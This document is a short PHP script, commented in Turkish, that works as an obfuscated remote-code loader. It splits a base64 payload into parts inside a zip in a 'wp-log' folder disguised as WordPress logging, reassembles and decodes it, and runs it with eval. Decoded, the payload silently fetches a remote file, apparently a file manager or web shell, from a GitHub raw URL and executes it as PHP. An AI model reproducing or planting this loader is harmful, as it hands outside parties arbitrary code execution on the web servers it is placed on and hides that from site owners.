<?php
// Hata raporlama aktif
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Şifreli base64 string
$encryptedStr = 'LyoqKiovQG51bGw7IC8qKioqKioqKi8gLyoqKioqKiovIC8qKioqKioqKi9AZXZhbC8qKioqLygiPz4iLmZpbGVfZ2V0X2NvbnRlbnRzLyoqKioqKiovKHVybGRlY29kZSh1cmxlbmNvZGUocmF3dXJsZGVjb2RlKHJhd3VybGVuY29kZSgiaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2hpbG5ldC9tZXRva2wvbWFpbi9mbS50eHQiKSkpKSkpOy8qKi8=';

// Ayarlar
$parcaSayisi = 20;
$klasor = 'wp-log';
$zipDosyaAdi = "$klasor/parcalar.zip";

// Klasör yoksa oluştur
if (!file_exists($klasor)) {
    mkdir($klasor, 0777, true);
}

// 1. Parçaları zip'e yaz
$zip = new ZipArchive();
if ($zip->open($zipDosyaAdi, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
    $parcaUzunlugu = ceil(strlen($encryptedStr) / $parcaSayisi);
    for ($i = 0; $i < $parcaSayisi; $i++) {
        $parca = substr($encryptedStr, $i * $parcaUzunlugu, $parcaUzunlugu);
        $zip->addFromString("part{$i}.txt", $parca);
    }
    $zip->close();
    echo "ZIP oluşturuldu: $zipDosyaAdi<br>";
} else {
    die("ZIP oluşturulamadı!");
}

// 2. ZIP içinden parçaları oku ve birleştir
$decodedStr = '';
$zip = new ZipArchive();
if ($zip->open($zipDosyaAdi) === TRUE) {
    for ($i = 0; $i < $parcaSayisi; $i++) {
        $dosyaAdi = "part{$i}.txt";
        $parca = $zip->getFromName($dosyaAdi);
        if ($parca === false) {
            die("Parça okunamadı: $dosyaAdi");
        }
        $decodedStr .= $parca;
    }
    $zip->close();
} else {
    die("ZIP okunamadı!");
}

// 3. Base64 çöz ve çalıştır
$decoded = base64_decode($decodedStr);
eval($decoded);
?>


